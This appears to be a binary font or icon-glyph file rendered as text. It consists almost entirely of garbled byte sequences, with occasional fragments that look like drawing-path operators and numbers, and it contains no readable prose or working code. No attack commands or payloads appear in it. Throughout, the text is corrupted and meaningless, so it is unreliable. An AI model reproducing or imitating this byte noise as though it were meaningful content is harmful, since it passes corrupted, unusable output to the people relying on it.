[,!)P��Q�s33k35YM--
!
  .$-*7@#s51V/$$/V1��''5'.'7��\��  f
+)..)+	��o<Uf��PR$$RX����?753'7'7'7'53�000�0�� �-.�--�.-@�000��0��@@--C--��-.x  ����2"&45#5##335z�zz�z;V*VV*�z�zz�k*VV*VV����
'7'7'5&2"&42654&"�b�aa�Ue;�qq�q�|XX|XC!R! S!S�o2=Up�pp��W>=XXz����2"&45#75#z�zz�z�000�z�zz��((X��	 @`#5353#53'5335373+535353P(P�PPP(P(PPxP(PPPPP�PPPPxPPPP�PPPxPPxPPVk7'7�x��xk��x��w����
2"&47#z�zz�z�`��z�zz��`�!������
"&4625�z�zz��`�zz�z�`�@�@'��@������
"&4627'&�zz�z�``z�zz�
``@�@��@������
"&462'�z�zz�
``�zz�z�``�57�����Vk7#'7'�*x��xw��x����'3"&=462"&=326=4&"265� EbD2F3. 
.2F3@�1DD1�#22#���		��#22#��7'5!3!5337!����k�kK�+�ꫪ++��((*��*2:"&4622"&4264&"/#5'&4?63232"&4264&"9L77L8C6&&6'+' =	H	
";��L88L7B6''6&=�8L77Lg&6''6�-- pV&
	E	< %8L77Lg&6''6����"';7'&76?546;7332#"'#"'#753#"'"'+26?243&@`@&3/''./&&0+��+9$2(Z(2$5'\#�	
b55b

�++**T))T��$  �
2'463������@@X����)-1"3=7>54'#5'%'2#5.54#5!#5P80@K*�&��&&�hL@�#`@��@8(8
GG
,(�@@6&&&&L4J%gg;#4****`�'/7;=4>2+"&=#+"&=.264&"264&"75!58P85
		
�
		
B�@�`�##�
'				'
	ijj����2"&4'7''7z�zz�z8KKKKKKKK�z�zz��KKKKKKKK �`!)-+"&=!+"&=76;2264&"264&"'!'#S-		�		-�����* �Kv�				�v�YU����$,62"&43!2+;#"&54?'#2"&4i""PD4
K���J*5""F""_*� (3���""��2#!"&5463U�����*��!!2#!"&5463U��*��U��U��*��77'53#!"&546;#iB��`
+�����B��`���*+����2#!"&54637''U��j��L���*���M����77'3"&4632&#"26{@��]*z�zzV(& Eaa�a�@��]
Vzz�z a�aa����%2#!"&546;>2*264##5#U��W#,#5�(�(p��:

��@HH������2"&4264&+4&#"#"3z�zz�z.1"-&%�z�zz��,#0#&2% �`%#!"&5467>327''�'6;)��2F>-G+6R��o,�9();F2.D%,Eƍo- �`&%#!"&5467>32264&+54&#"#"3�'6;)��2F>-G+6R##@.&:
!//!�9();F2.D%,E�#2#
.@-#/B/ �`%#!"&5467>32�'6;)��2F>-G+6R�9();F2.D%,E��%-52+"#"&46264&"6264&"264&"264&"�Oq?,&
	Ppp2S}S�dG,>
	p�p�Ch����62"&4&2"&47�C�����U�U�ք������U���=3#=3#553#3#53�33��MM�3M3�M�M�3�̀3M33�zz57#'76�P�Pz(P(3P�P�*(P(3@�	75!+"&!5373 � ��Pj+��F    ����2+#57#"&54635!��*�*�j�����0  0����@�
+"&54633'����pp���P�p-S	
'73'7'7���|��z\� z4����{[<{.�R?'7z� ��z l���z��%#!"&=4?7'�����૫����ee�pUU�� ?#53'72#!"&=3!!#5463�7��8kk���+*��+s8*8kk+��UU*UU��%53#5#53#%#533#53M3�MM�3��3�MM�33M�33�MM�3��3���-2'.54632667654&#"'&#"7.0B;.44.;B09%%_(0"**"0(_		�B15D,00,D51B,,��X"2*#0!!0#*2"X��3'.54632632�4.;B09%%90B;.40,D51B,,B15D,0@�#'+3#5##5##335335#75#75#5#75#75#(((�((((�(�(((((�(((((���++++�+++�++V**U++�++V**U++ �`2#!"&=46;54#!3!2����+���j0��0��0�P753!!5!�`����@P 000 0y22����(}2"&4>4'&'.7676'.'&'&'.74'767'&'&4'.'.'263&'/>76636.'&#66z�zz�z�		*4+�#

 ,	

	

 )$!	

6�z�zz���		


0DJ4++#/	&
	 	



	 
��`�
25"&45#3375#33g�geKIg�>g>�eGD�$Gf�R==((==(����%2"&4264&"6"&462"&462"&'3z�zz�z��aa�a��NH9
�
�z�zz��a�aa�Z�'!!��
3#5#7##5#�b>��>b`������#%3#!"&53"&5463!2!264&"�KA��AKj��j� 
��5����
��2#!"&54635#75#75#X��Ƞ�������0��00X00X00��@�'2+"&=46;5462264&"754&"�;R;t  f$4$��();;)(�  �($$(��2'"#"54?6765'uy�iy�gs����)-)B)-(���,�@�@=!%5!%!!���������@++k**�+����!+13%''#5.53327'#"&='7''5462'65'<:::"_!.9P'H1 
)�o�	�)8)\R"]:::!_RRX92C!(�n�	M�((�.&�!�@�62"&4$2"&4&2"&4    `  �       P`"&462"&4626"&462P      H  ��  `  @�''�������@@��`�&,#3/=4&'.2!57546754"&5�",	�	,"-;)��);-H"H9$r


r$9H
I/r**r/I
����l� "&53'!57547'7'675462�"R�'$��)?%�-;L��$)s!@�^�

I��`�"&537!5754675462�"R^)��);--;d**r/I

I/��%53#!"&546;#3#5'7#U+������+��W+��*+��U�W��	����'+/;=!353"&=462%5335!"&=462'5!353"&=462`P`��P`���`P`      `P     `P     `0�P	&%"&4632#"&46322!54%2#54&'61$$$$�$$$$FZd��12]��#2##2##2##2#,& 66 66��$"&4622!5453##5#5353HP88P8�x���@@ @@ �8P88Ph5+00+� @@ @��6"&4622!54�P88P8�x����8P88Ph5+00+0�P%#!"&=463!2!5!���n�� ��Y����� �2+"&5463#�������n�� ����@�2.54264&"^�^P((7*#�0!!0!�\A4�/.HDV!Ay!.!!.����%''575575462��0PP0���p0rr0(hq

qh��
2#!5#54635#!5`&P�P&�� &�UU�&���`PP����2"&4264&"z�zz�z��aa�a�z�zz��a�aa�����2"&462"&4264&"�V==V=�zz�z��aa�a(=V==V�z�zz��a�aa�`p72673#"&46327#7&#"�*C.]<IggIH44�F&67MM<.&8Hg�g44�F(MnM����2"&45#z�zz�z;��z�zz�k**��7'&47''67&67>t[�V!����0M0
@�YE�����0>0K����
%62#62"&4264&"6"&462"&462�B6��zz�z��aa�a���#z�zz��a�aa�Z����$$2"&547'#"&46327&5462#"'&4$$4$�&%�&4&&��h$4$$X&4&W
&&4&W


X��	%'7'?/?/�n!}}!n�99(<5F�`�KK�`���$D.@���	%'7'?/?/?�n!}}!n�99(<5FF5<�`�KK�`���$D.@@.D$
��`�%)2#!57"&=4264&"75#264&"75#\�\+ � +Bpp�@p�"3�++�3��~``�~``
����#'+/"264'#5'%'2"&4#5!#5/'#5P88P8K*�&��&&�hLLhL`@��@n&&�&�* 8P88P�@@,&&&&LhLLh****�&&&
@@��@�2'654&#'755"&547�B^G1PPPPB^Gc`C0'2H=RQ��=RQ=`C2%2H��2#!435#35#35#X��@ f&s&s&��@X(�((((((����2"&4264&"7'5}�}}�}��cc�c�`p�}�}}���d�dd��o9C��`�=462#!57"&6264&"75!\�\+ � +�  ��e�3""3�++  �``��@�%2+"&=46;54&"#462264&"��$4$&;R;t  ��($$);;)(�   �`%#!"&5467>323'33�'6;)��2F>-G+6RhDddD@�9();F2.D%,EoddL p37'#%5UkkU p��p@0�1�p37'#UkkUp��p�� '%4&'5'6'''567''#537'7'5V</@U �3�($._kUU	[3�3R-lE6* �h3��(!
-
_�p�
[�3<1��37'#%5'5>4&'UkkU 5@UU@/;;/p��p@0�1�l�l-RfR���"&462'#5'##576323�  (9&29(Q)(o	-HP  �&>`�`D�@Pp&E(����
'5#75#���000��`@00P``��@�#'&4?3264&"@=�==��FdFFd
�0ss0�0ssKdFFdFp!4A%"/"/&4?'&?627627#!"'&/763!24#!"3!2�LLLMLLM�
��
nn%*��``
*tMMLLLLL�
�	
������p4#!"'&/763!2'76/&"'&"2?2?64�
��
nn%*HLMLLMLLLb
�	
���LLLLLLMM0�P3V7676'./6767#"&54632&'.#72#"&'675&'&'&'7&/5>�&	(&-
S! U'� L#ER�"3
"PW98XB 	

�X89W?		"
B����5353!#535335#53@@@��@@@��� 00�@@@���@����#75!72#!"5435!73#73#'530` �`����@� � p�������PP�00��P 00 �`*]$42%3"/.'.'.'&'&63673+"'&=4?3272>76'`���
6
	H��		#'Sbb�@	q1��
	]S		S~�.4<%+"'&?5432632#"'3&54632&=4323'&"&462~��v		#H.5!


ǖP;
��E6
�����3BP^%#!"54?6=4&5&6;2654/&=#3!7+"&54?3'32?4'&"6/&#"32w	?��?	11~?e@c�	QgRW14
44IM &\])��%2pp0'�%	||F=$$����*=EM%#"&'&763232676327#"'&"#"'&7632#"'&"#"'&7632&2"&464&"cJ./L
<&%<
	
		
�
		

�����0pp�pp�"'("	9
	



	


��������p�pp�p����3;CKQ''#1"''7&547'&546732674627'6;%7&4&"2654&'&3#53�6	9+$#4FF4#$+9	6."6*0
	1*6".��[
%Z^�^^�[%fp`4	4NA1-
+11+
-1BM4	4!04

40!Y(��\\�\cY(X�����39''#1"''7&547'&546732674627'6;5##�7	9+%
#4FF4#$+9	6."6*0
	1*6".�`4	4NA1-
+11+
-1AN4	4!05


40!�����!!!75!%5!��`��@(p��00��0��@ ��!75!%5!��@(p��0@��@ ����/8d#"'.?6327&#1"7&'&'&'&'6'&'32''7''7''7''7''777777'7K('�U('��*$9/M�"/M�Q*$vCC;[TKU[TK65��/�!:"/�!:q65�CC����CG#"'.?6327'77''7''7''7''7''7'77777'K('�U('���HCC�;[TKU[TK����CC������_"27>764'.'&2"&4"'&76767>76?67632'&'&#"'&'.'&"V&#>>#&V&#>>#������L

	
!

 �>#&V&#>>#&V&#> ������( +
#)%-����F2#"&'547>654'.'&"3767>76?67632�]�zN[�
~%>#&V&#>
$
		��]J`�[Tr�+&#>>#&+	(-, �`'17� ��@�� ��`@ '7-��� ��� �`71'7 �� @ �� � �`'7�����M���� �`7'7���M��� �`7"/&64276�WXJJ~OPC��C`@7"'&'&4?6!2#!^OPC��CbWXJJ`@7&?!"43!'&6"�C��COPbJJWX �`/"5&76762�JJWXC��COP`@ %''7-����`����9�Gu�753#"'&'&'&5476767632"'&'"'&'.547567>32733276767654'&'&'&#"32767676'6?&'&'#'&'&#"327676�


			


"	&


	




V
	



#		

	f



		 
 9
	
	9Gv�73#"'&'&'&5476767632#"'&'#"'&'&'&54?67676327333276767654'&'&'&#"327676'6?&'&'+5&'&#"327676�





		'	
		

F	�

	#			


	h		
/7
@�@#53#33#535#53!5353#53753P@@PP@@��P�7@��ఀ��� ������@�@!!75#5#75#5#75#��`PPWYP@�@�� ������ ������"Ks�%#"+"&=46=>71632'4&#"#77777346%;&5'7&'.''7&''7&''7.'&''7.#>7&''7&''7&''7&''7&''7&'77777�jIVzgIVzpO	


��pO	


	�B_
	
		B]	

		�IgzVIjzVOp

	Op	


	�]B	

_B		



����S�21#"&54671627&'7'&'7'&'7'&'7'&'7'&'277777765&'7'&'.'7'&'7'&'7'&'&'7'&'"7777�Vz	vPVzjN		

		



	�


			
�zVNjzVPv	�q



			


	�	



		����%-7CNV2"&44''&#236742'67&67&'7'&'6'67'&'&3263&'&'67&'z�zz�z�>'3B!�K5^KA#,/)!I
EY\?�+:,#$8Q
1�;D7:�z�zz�VS92-

�(&#/.(;)N<y7HJB
E')/F+C5"�:&!&"3M,B����Q2"&4&'67465&'&'67&'"'&'&'"#&'&'6727&'676z�zz�zM:7D#!AK^	YE
?\#$#,:41
,6!�z�zz��HB,

-2./#&W<N)'E
F"	&!&H7>J	��-3%!>	5475462!&54'&""&'3>��

ff��*(%X%�(h�#

y	

	��(fE FK#_��%%!>	5475462"&'3>��

ffj(h�#

y	

	������@w"264&2"&42+"#"&/&+"+.?576'&+"&463"43!2+"1#"/4'&'&+"+"'&?5716'&#�4((�

d 
	

 d

Pf 		 �"((T
&�
	xx
�&
 (�x
x�*����:422+'&/'&'&+"5'&'&?576'&'#"&463�`x

b		b

@``
(�		x		!x		�(
��	;7+?37#�dAdA.`�`<�Y������37#�`�`�����"2@2+&#"#.#"+5=46326=.#"36327=&#"632,86..98,G/$#/96�P%/6;�)&��*%%*		&),,���
��$�5!��+$��%2#.#"+5=4632+&#"#6d;.98�,86.���%*		&))&��*%a��,3F2+"+54+"&546;21634&+";2?54+'5#"6;26����

"	�	�O		@ 00	�	���

��5��@dd���  �����/53/72+"+54+"&546;2746;75(@	P���00tt_��


��I	�  �0@P $7+";24'2+"&4637#!5#55!%5!�?@@��� ����  pP��P���000@P75!'";24#'!#!# �@�@��0���  �P��".3!3533=4;2353354+"5!%5##5!#5#p0�`0 0c0 �a���  �  @��@ �����00��"*535!5313!53353=4;233'54+"0 P�P 0�`0 0c0 `a@����@@@     ��!!%!#53!#50�� ��p@0��0����p��0@��	!!!#5#0��P0@�0������ �#+3;CKS[c53'3572+"&54634+";2';#53;#53;#537;#53;#53;#53;#53;#53 ������� @ @ @P @P @P @ @P @ @@0  0��@��@���@p@p@�@ @p@p@ �`
 �#'+/32+"&5463#35#3#35#35#3#35#35#3'35#��0000P000000P0000000�����@؀�0p0�0�0p0�0�0`0��!5'3!3533535!5##5##5#`P`��`�P��`P�PP@@��`   ����@    @��1!!5335335#53353���`����`PP0000    0�P;CKOS2#!"&=46;533>;254+'&'./#"+"3!2&2"&4264&"75342b

��
"
XL>X	<@�F33F39:)):)��@ �
�
ϰ	�
�2F22Fh)8))8^b@@0�P#'/72#!"&=46;533>;2264&"75#&2"&4264&"b

��
"
X�F33F3�}:)):)8 �
�
�2F22Fe)8))8<��.262"&424"62"&424";#"'&/&'&#527%V�H����
+!(�� 0 �0"��c���&62"&462"&4;#"'&/&'&#52V�X����
+!0�0"�����	3#5!#5!##'#%5!35`p � 0
@���7���p`p�@@��77����
##5!##'# �p� 0
@��pp��@@ �`@"76;6323327654&2#"'#&#"3#"+&7654'1'&54	�g
'
 &H52��qoP+ 2	PQ9&#	)
('79aZ@?W9&.@ �`"2#"'#&#"3#"+&7654'1'&54q�qoP+ 2	`Z@?W9&.@r�7"/77J
8/}v8/~����"/72"&4264&"$�
8/-�zz�z��pp�p�8/�z�zz���p�pp�����2"&47''2z�zz�z��}/8
�z�zz���~/8����2"&4264&"62"&4z�zz�z��pp�p}�^^�^�z�zz���p�pp��^�^^�����2"&4264&"z�zz�z��pp�p�z�zz���p�pp�����2"&4264&"753#5z�zz�z��pp�p�q�z�zz���p�pp�O������
2"&45##z�zz�z�`�z�zz�g��`� ''7'7�TTTTTTT TTTTTTT����"&4664&"''7'7&zz�zz�nn�nn�TTTTTTT�z�zz�z�rn�nn�nTTTTTTT����"&46'7''7&zz�zz�TTTTTTTT�z�zz�z��TTTTTTTT����D7537'72+5;264&+54&#"'&#";#"&5467>32>321�77KJ�"/0"ea&';*1


	+[[%5"!9"0EC6��6II�0D0'6()8	$,4%-	#C0����(7537'?2+5#+"&5467>32>321�7KJ�"/0"�#F%5"!9"0E
kk6II�0D0��4%-	#C00�P8%2#!"&5467>32>32264&+54&#"'&#"3!o"/0"��%5"!8"0E'&;*1


	+�0#"26&-	%E0�)8'*9 	%-��D7'7'#572+5;264&#'54&#"'&#";#"&5467>32>32�JK7�"/0"ea&';*1


	+[[&4"!9"0E�KK6��2#"1'8**9 
	(,4&/	$D0��(3532+57'7+"&5467>32>32��"/0"�7KJ7#<&4"!9"0E``2#"1�6KK6�4&/	$D00�P%2#!"&5467>32>32o"/0"��%5"!8"0E�0#"26&-	%E00�P1U7""#;264&#"#'&'&'232+"&5467546276767&'&'&547&'>7673}%

�*&&�."2"&		
,#$2�%

(#&6'  .b

'#!*()	3#$/�P3%27#654'&'&'&'5>7673'232+"&5467546i!3 
,#$2�*&&�.�
&")	3#$a#&6'  /` 1""#;264&#"#'&'&'232+"&5467546}%

�*&&�.%

(#&6'  .` 232+"&5467546}*&&�. #&6'  .��?�����%'''#/'7''7''7/5?'77'77'7?3777'?5/7''7''7'/#'/'7773?7'77'7&2"&4?&#"27'7654'&'�!"
 	
###$ 	 	#!    	 	!!!!!! �jKKjKh.Bp) Kh	!�!�"!!"	 	
 #
###

	P!!"!!" 	 ! �KjKKj5hB�K!&+.!i��X`'7&546327#"'&%'''#/'7''7''7/5?'77'77'7?3777264&"�!K
hB.rhK ).!!!"
 	
###$ 	 	#!�jKKjK*!.+Kmh.B�K!,"!!"	 	
 #
###

	�KjKKj�p)4=FO\i%#"'#"&5467&5462'632632654&"4'"'6&263&'2'67&#"#767"&#"27&547&'2654&'.$.B.0  0.B.$B\B�
0  0
8P8p
(T
0(�P9(�P8(9�
<&.B""B.&<
.BB.""(88�=.
.�$83!(88(!38$�pDOXaj%#"'#"&5467&546267654'6767'"#5&"'&#"&#"""17&54727&'632""&#67'2&'26.$.B.0  0.B.$B\Bp9
0  0
9P0
(NT(
0�
<&.B""B.&<
.BB.�$8
""
8$^O.
>1
.	��#7/5353753!537''?'7�"�7��(P(�((�*�" ��d((�((tb������75353753''777'53�"�   <@"--�----9@!��"C@@�@@x  b-..z-.\  ��	%57!!#?#577/7620���� ��� ��0��� �����?!!7#57/762������ � ����0�@� � �����82"&4$"67654'&'&'&756'&7673654z�zz�z�p-(2	''
2+-�z�zz�ipOE5



	
5EO����32"&427&'&54767676'&5&76'&'#z�zz�z�X:+2
''	2(9�z�zz���E	



E �3#57##355##%5'#�@P%K0�0�� A�`@P K��0P0�� ��0�B�� �7;#3+55#5# �� �K0��@  P��PK�� 0p@P��	
533#5353!#!@ �� �0��@ ��P00� ��  �� ��	
533#5353!#!@��0��@��P00�����0@�3!3#!#537'�����p p_77JJ0��0��\7��7JJ@�3!3'7''53�����7JJ70��0�7JJ7�PP�`=!%5!%5!`��`��`�88@�@!!?!!5'''7'�������
`sDO00ODs@�t|��XMF%%FMX@�@%!5777'7''����DO00OD���@�dMF%%FMd��P�0 (0@%#"./767632"32>7&'&"&462&"2643"&463"26266'G&%7'01^^,N06*4#G'%%/B//B/64&&4& (�2$""%8/16#")�/B//Ba&4&&4(P�0'%#"./767632264&"7327"&463266'G&%7'01^B//B/J(�2$""%8�/B//B>(@�@?7'5�(������%�edN_d���{{{@�@5�����@��{{{@`@	!+57''32653535#"&'#3 @��@
-�0(0�--b#,#b�@`��``DDPPPD���@`@
"62673+53'+735335+"&5+�,#r��r79@�@8(('	���%`PPPP`
�h#'+/3!!75#75#75#75#75#5#75#5#75#75#75#75#��pH888888888(���(888888888h��00@00@00@00@00�������00@00@00@00@00�h#'+/!!75#75#75#75#75#5#5#75#75#75#75#��pH888888888(�(888888888h��00@00@00@00@00p�00@00@00@00@00 `1267##"'&#"#=76323265"#"'&#"63232�

!(9+(:		0( 
9/P�	
���	��	�
	 `267##"'&#"#=7632326�

!(9+(:	P�	
���	����<#"&'4>654&/76'&'&54?67676`G`"+" _! (

)
y0"11	.-	�5�M/DSM(?)*>�p$,(

$,(
�FQ8+<?3& ..		-/����#"&'4>654&/`G`"+" _! (

)
�5�M/DSM(?)*>�p$,(

$,(
����9EU%#!"&'4?5#5;3#3#3#3#3!27654/=;#73+"547#1;2764'1u#�%t00  001:\
	t�H�H
,�.�C	�	N%$�  �$
���ww((xo
����"&*.2>%+"&547173#!"&'4?5#53#'353535354/#;2G	�	C�q#�%t�p00  0A	:�
H�G.�,A
ob%$�o000�ww(����S`kv������������&4=KWeq%"'#"'&'"547&'#"'&767&'#"43267&'&763267&54267632632'32767&'&#"'676765"7&'&#275&#"67'2734'.3654'&'654'#6&264&"#"'6&/6'&'&'&763247&'6?#"'&67"'332%&6763267'"#"2>?#"'&7674&5>'6326'6.&7632263&'&#"##"'./237&'"#k%82<-8-<28%UU!<4<,8,<4<!U�+ '
�'
6 +/
P',�(,\
y

r
m""9
{*"!"

		�
�

�	
).
d.		
)

�=-2<!UU!<2-=8 <,2<!UU!<2,< 8
_'
f''
P
_',
g'(
,//�|//

��2#""=
l"#3@�
�$	�	)'

�.			+'.
:
}
$
	����IUamy����%2#"''&'"547&'&767&'#"43267&'&7667&5426766#"'6&/&'&7632#"'&76?67632&>?#"'&>'632&7632.#"'./kUU%82<&=8=&<28%UU!<4<<8<<4<BS8")"�!*"��
��.
	
)E.		
)�8=&<2<!UU!<2<&=8 <<28%UU%82<< ~"2#"�#3$"�R
�	)'_			+'�X
��'42#!"&546;23'"63!254+"/&#54#!"3!2�


�p
p
�	��
'�p�`
��
P

J*������
!2#!"&=43%2&#!"546;23�
�p
�

�Pp
�
�P
*J

����#*.5=DINS2"&42637'5#2332?75'37&'7&'77/767''7&"''67z�zz�z�j�+R9!1GNFEhy#7:G6��F1�F62C/0+6 +�+ 8�z�zz���@''A(1%�/@<:�::HH2(5F1(:<>3)'M�)3.M� ��%22%����&.52"&42637'5#233275&'77/767'z�zz�z�jT9!1G�#7:G6��F1�F62�z�zz���@''Ar/@<:1(:<>3)'M�)3.MR�.#+3<LX72++"=#"=4;54;22#"4'2#"&4632#"&46'2"&547#";27654&'2+"&463�###�]#�'8&�&8'.AA.�.AA.�####'&*&&*!4)**)4>^@@^>R�.'/7@H2+"&46354+54+"#";;2=3224#"264&#"6264&#"24#"Q.AA.�.AA.9####x2>.>^@@^>y####&*&S5& �`#+O}$2"&42"&4&2"&424"62"&42"&4#"'.+"#"'.7>76322632>&'.'&#""'&#"32767676;2328�  &&�8Z+ ;; +' 

:6:

 '$	(4(	$

>>
� L""$&- !BY	4		4	YBFF		F�E-C?

?C-E �`'/7?GO62"#"'.+"#"'.7>76322632264&"264&"264&"6264&"264&"T&&^+ ;; +' 

:6:

 '��  �88�&BY	4		4	YBFF		FU""8L8��_�2"&4264&"7#"'6326763267&76763267&'&54767&'#"'&'&7&'#"'&7327&#"&"&'6'&#"&'64'673276'672�P88P8?B//B/								_    D    D 8P88Px/B//B�				 D    D  ��3;$&#"&"&'6'&#"&'64'673276'6727327264&"`  D    D �B//B/�D    D    ~/B//Bd�+3;%3##"&514&"1#"'&'#536763262>32264&"264&"�#&66&#$ 1"1 #x@--@-�@--@-�"6&&6"!%%x-@--@--@--@d�+%3##"&514&"1#"'&'#536763262>32�#&66&#$ 1"1 #�"6&&6"!%%��#3##5##5#535#535335335#�ppp�pppp�p���pppp�pppp�����#753!!5#5##5##3#33533535#5������`P�PPPP�PP�����PPPP�PPPP��p=2&'&'&54632>67654'&'&#"'&#"67>G5D)(<*	7<()D599c		>>		$&*  *&$p>6721'$'1276>�/--/  �p2&'&'&54632>G5D)(<*	7<()D599p>6721'$'1276>R�.6"&4627#67654&#"#432K


D"R


i&>����%-2"&4264&"72#67654&#"#42"&4z�zz�z��pp�p�#=


�z�zz���p�pp��&>�


����'2"&4264&"7654&#"3&632364>z�zz�z�


3"D	�z�zz��


i>&

��#5##55'353''7535#��p`p0��P�@��� @ P�Ѐ���tt���p���`-
*C��#5##57''753��p`p���� @P�Ѐ�а���`-`� 3#"/&#"32?#"'&4763232764'&#"'7632�('~"!!"+
*(''(~!""!+
*('N{@*)N{@*)X�(1#"/&#"32?#"'&476323264&#"'7632�.-}''.--.}((''.-
V{8&&V{(:(&&`@(
423#535#53(@0((�x����
423#535#53&2"&4264&"�(@0f�zz�z��pp�p((�x�z�zz���p�pp�����2"&46"2645#5#3#z�zz�z�0�z�zz���x����=EM"&4632632&"26467654'&'#"&547&'&"2762"&4264&"z&y�{{VB6




"R""#$N$#�P88P8?B//B.96CVzz�z&$


��%$&'$
#$'&$%8P88Px/B//B��	!+3;CKS[cmu}���%2"&546264&"&2"&4264&"'2"&46264&"$2"&4264&"&2"&4264&"&2"&4264&"%"&5462&"264&2"&4264&"&2#"&4264&"K.  {,,%  f.  $..&  {,,%  }..%  ;.  �,,%  }.%  k.[  F..<  F.[  �,,;  E,,;  E,,;  e.[  %..=  E.=  	��	#+3=EO%2"&546"2"&4'2"&46$2"&4&2"&4&2"&4%"&5462&2"&4&2#"&4K.�,,V...k,,m..K.�,,m.k....�,,,,,,?.k...�� �9=AE#54'&'&54627654'&"35'335733476761453'53'53 �UvU1($h$(   ~@P```)*&31!*):SS�%$1($$(1$%$'p@@pp@@p&%�  �� �#'+#57##5'##54'&'&546253'53'53       UvU�@P```)*&3�@@��@@�1!*):SS��  ��!!!535353$424242p��`���������     p��p���h``�  `  `  ��!!624"424"424"5#75#75#���@      ��������P @ @ �``�� �!)"67654&2.5462"&4264&"�lJF!!F�xTH$$0Pv4&&4&,((�J6Bx9""9xB6ZT<2�33E�2<&4&&4I((�� �2.54264&"TxTH$$0P|((�T<2�33E�2<k((��@�#'%3!535462#354&"5!62#5&5424"8��8=V=��3J3��  ���H+==+HH%33���Р!! ��@�#%3!535462654&"3754&"2"8��8=V=`P3J3H  ���H+==+�!�H%33%HP ���+.12'7654&#"'7>7#"&54?326'3%7VzlL1Va�a8VzlL1V�@�@@@�zV
Ll2,19��19zV
Ll2�@@@@����-3%'771'65.#"'>32#"&'=47326%''�45
+nM3X`7Tw(`7SwoM3X��4)*�55))Mn4,08wS^08uSMn4�5))l�#'#5'7'7537'7'5#'735lvv v@v vv v@v
��� ���� �DD8E��E8DD8E��E�JJJ��JJJJ��Jl�'#5'7'7537lvv v@v vv v@vDD8E��E8DD8E��E��,487#+;3=;5+573##5#53573!354;2354+"!� 00 00@@@@@p��`�c��a���0 00 @@@@@@@@��@  �� ���� (47;+#=+5;=373!354;2354+"5#5##335�00 00 @��`�c��a�@@@@@� 00 00���@  �@@@@@@���
07'"&=7'632'6=33#535.=3327
���!.q=�(!.1
uE�I2FA-	 ��Hw0#v�S
� 1#�)" P�??I2PP-@���/2"&=454&"26733#535.=3265_B..B.�%4%%4%0C2E�I2FAZA�1#�#11#�#��((�((jP2I??I2PP-@@-���#6"&=462733#535.=3265�B..B. C2E�I2FAZA^1#�#11#�#qP2I??I2PP-@@-��%!5!������2"&4264&"75!z�zz�z��pp�p?�z�zz���p�pp�F����2"&45!z�zz�zP��z�zz�_ �`%#3!535#!!�@��@��0�@ � �`%#3!535#!!5!�@��@��0��P�@ ����M�3"727#"&546767327.547�
"60D-$@-J&1C;�)C0'=-@(H11):M�3727#"&5467673�
"60D-$@-�)C0'=-@�@�'/6"264&2"&4&"264&2"&4$"264&2"&4�


 X


 (


 �








�@�62"&4&2"&4$2"&4�n��r/547632�I>3ZZA
�,'@r%5472>355476357@
>4	�?4�1,'� �
-'�#����"264$2"&4%5#�rr�r��zz�z0`��r�rr��z�zz�
�����2"&473z�zz�z�`��z�zz���`����1u�%'&#"#"&547673276/>73276/7632654/5/&#"#"'5#'1#"'1'32?'#&7162367'?7&

37&s	!	=$!

NE

	,	eXfgG?[�


%(#T5b(
O$	E
'FJA�<{o5����*1%'&#"&5474>76/>76/76327'77'	
37&r			=$!

NZgF2C�	

&( #T

b(
O^;yU&��"&*!#!"&53#3!265!#535353530P
��
 	B	��0��������

1��		Q��@0PPP��!#!"&533535355#75#0P
��
 0���0������

1��   �`� @`	5%'77'@�9)s�Sƚ��sS�y$ @`5%7'@�֒4ƚ���h �`%CW5353'77'7'77&54632&#"7""#;264&#"#'&'&'232+"&5467546��7
 � �
)'* �%

�*&&�.*66jk  �+*!%)%

(#&6'  . �`';5353'77'7'77232+"&5467546'#5&54632��7
 � �
�*&&�.''**66jk  �a#&6'  ./	+* `#3##3#?//O�//OP��0��@��0��@ `5333ObO @��@��
|�0?Qa{���%#"'.7>326'&'&#"32%#"&'&767632>'&#"327.'&7673"'3676'.'#2#".'&"#"'&54654'&'&"327>362232'&'&7>73'3>76'&'#|





��





E 




`P

�$,$





 

	

�-E$!@-T!$ C($%(w#�^7!

!7W	/,

,/	
		�(%$'M#|�!3M]%#"'.7>32#"&'&767632.'&7673"2#".'&"#"'&547&'&7>73|



��


3 

	`P

�

 �-%-($%(^7!

!7|(%$'0�P<|���+476767654'&'&'.5&&'&7>6';&'.'.'&54656767676'&76'.'+472>75'?6547632"#67&74;27&6'&#"32&'&'*&767675"'&'&7>"#';.'&'4327&6'&#"32�]�
'$!�	�	
>	
	7).Z2	

Q
	P�#$	


		

 		 	

		$%	#

.	2	
	X
 
.	2	0�P<?v�%1+476767654'&'&'.5&&'&7>6''3++472>5'7>56547632"##36%#&'&'*&767675"'&'&7>"#=�
'$!�
7)3P2	

q#$	


		




		%%	#


	X
  @`1�7+47>76?&/"'.54673&'&62#3&'&'&'".#&'&575?>76?>57676&575>54'&#"j�5��5 (F(	 c�	


	��  )
 
))*	%'

	
	


 @`0%+47>76?&/"'.54673&'&62#5��5 (F(	 T  )
 
))*	% @`=�##5#5353+47>76?&/"'.54673&'&62#3&'&'&'".#&'&575?>76?>57676&575>54'&#"@��5��5 (F(	 c�	


	'1�  )
 
))*	%'

	
	


 @`<##5#5353+47>76?&/"'.54673&'&62#@5��5 (F(	 '�  )
 
))*	%��!!%!!#5!3#@���p��P��� 0@�� ��p0 ����	!!!#@���@��0@���0��@����)5327>7654'&'2#"&'7'1?.'54>3�	3?'$#481WVzzVDn� 0%$.��
1X9o�-%4#$'P81z�zP?1�6I& .��4-$F?&����	2#"&'7.'54>3�VzzVDn��
1X9�z�zP?1�4-$F?&����'J+"&54654&5476;2'3&/&+"546454'&547654&5#;2� 
�
 z��z�	�	
�
3\&A

C&\3W&

&33�c!(*,.11.,*)!
����'+"&54654&5476;2'3&/&+"� 
�
 z��z3\&A

C&\3W&

&33 `7'
���C������ `
�`��@@%##5#53533xwwx�wwxx����2"&4264&"73##5#535z�zz�z��pp�p�xxww�z�zz���p�pp��xwwx����2"&45#5##335z�zz�zPxww�z�zz�_xxww����	'5#"&462&"2������  ���� ����( ����42'3'$264&"0 P���40  p��ࠠ����#3''3?=#%5#"&462&"2� ����ى���
~  ����� �W�i��wyp�) ����3''3'$264&"42��
���2 ����

� p���  ��/2+!5#"&=46;5!%!55#%54#!";5!32�0�0  ���0��00P
�rr�
00   �������^^��35!!5!5!2+5!#"&=463P��� !

!��
����`  
�
~~
�
����&%2#"'#"/+"'+5376327623>�!32
3-
pc=4-&�(/�4� �
�ƛU����#%2#"'#"/"'+537627623>�A9:6`Z>:6;�H�Z�����[0 P8V2#"54?##"54?##"5?##"54?.4674&5463226264&+'&'&#"";1�(7.#	%5	.$ -% +'|
